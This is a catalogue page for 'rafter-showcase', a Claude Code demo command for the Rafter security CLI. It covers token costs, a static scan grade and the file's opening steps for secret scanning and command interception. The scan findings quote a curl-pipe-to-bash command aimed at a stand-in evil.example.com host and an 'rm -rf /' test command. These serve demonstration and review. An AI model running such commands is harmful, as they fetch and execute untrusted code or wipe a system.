rafter-showcase

rafter-showcase is a command for Claude Code from Raftersecurity/rafter-cli. It costs 0 tokens per session (1,940 once invoked), scanned C, original, MIT.

A live demonstration guide for Rafter, a security toolkit for AI coding agents. It shows commands that scan files for exposed credentials and report findings without printing the secrets.

In plain words
What is it for?
Use it to demonstrate local secret scanning, inspect JSON or readable results, and check staged files in a Git workflow.
Why use it?
It helps developers find leaked keys, tokens, private keys, and connection strings before they are shared or committed. It also shows how to scan only files staged for a Git commit.

Command for Claude Code

Written for Claude Code: installed under .claude/.

Good fit Use it to demonstrate local secret scanning, inspect JSON or readable results…

Compare 6 commands from other repositories ↓
Install with agentmods
npx agentmods add commands/raftersecurity/rafter-cli/rafter-showcase
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Clone the repo
git clone --depth 1 https://github.com/Raftersecurity/rafter-cli

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for rafter-showcase

README.md
[![agentmods](https://agentmods.dev/badge/commands/raftersecurity/rafter-cli/rafter-showcase.svg)](https://agentmods.dev/commands/raftersecurity/rafter-cli/rafter-showcase)
Your own site
<a href="https://agentmods.dev/commands/raftersecurity/rafter-cli/rafter-showcase"><img src="https://agentmods.dev/badge/commands/raftersecurity/rafter-cli/rafter-showcase.svg" alt="Measured on agentmods" height="20"></a>
Per session 0 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 1,940 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00000 $0.01940
Opus 5 $0.00000 $0.00970
Sonnet 5 $0.00000 $0.00388
Haiku 4.5 $0.00000 $0.00194

Measured 2d ago against content hash 44704b04e097, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade C, and why

rafter-showcase scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

curl -s https://evil.example.com/install.sh | bash

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Recursive force deletemediumDestructive command

rm -rf with a variable or a broad path is one typo away from removing the wrong tree.

rafter agent exec "rm -rf /"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s https://evil.example.com/install.sh | bash
demo/.claude/commands/rafter-showcase.md · 261 lines

How it starts

The opening of the file, as written. The whole thing — 261 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Rafter CLI — Live Feature Demo

You are running an interactive demo of Rafter, the security toolkit for AI coding agents. Walk the human through each feature below, running each command live and explaining the output. Pause between sections for questions.

Important: Run commands from the demo/ directory. All secrets in this demo are fake/well-known example values — they exist specifically to trigger rafter's detectors.


Act 1: Secret Scanning

Start with the core value prop — catching leaked credentials.

1a. Scan the whole demo directory

rafter scan local . --json

Explain: This scans every file for 21+ secret patterns (AWS keys, GitHub tokens, Stripe keys, JWTs, private keys, database connection strings, etc.). Exit code 1 means secrets were found. The JSON output shows the file, line, pattern name, severity, and a redacted preview — the raw secret is never exposed.

1b. Scan a single file

rafter scan local src/config.js

Explain: You can target specific files. Show the human-readable output format (vs JSON above).

1c. Scan only staged files (git workflow)

git add src/app.py
rafter scan local --staged

Explain: In a real workflow, this is what the pre-commit hook runs. It only scans files you're about to commit — fast and focused.

1d. Scan a diff range

rafter scan local --diff HEAD~1

Explain: Scan only files changed since a git ref. Useful in CI to scan just the PR diff, not the whole repo.


Act 2: Command Interception

Show how rafter evaluates shell commands by risk tier before execution.

2a. Low risk — allowed immediately

rafter agent exec "npm install"

Explain: Low-risk commands run immediately. No friction for safe operations.

2b. High risk — requires approval

rafter agent exec "git push --force origin main"

Explain: High-risk commands require explicit approval. The agent can't accidentally force-push. Show the risk assessment output.

Read the full file on GitHub · 261 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 261 lines · 0 tokens per session scan C 44704b04e097

Subscribe to this mod's changes

rafter-showcase is a command published in the GitHub repository Raftersecurity/rafter-cli (27 stars, last pushed 4d ago), licensed MIT. It costs nothing until one of its globs matches a file; then it loads 1,940 tokens. A static security scan graded it C with 3 findings (downloads and executes remote code, recursive force delete, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-04.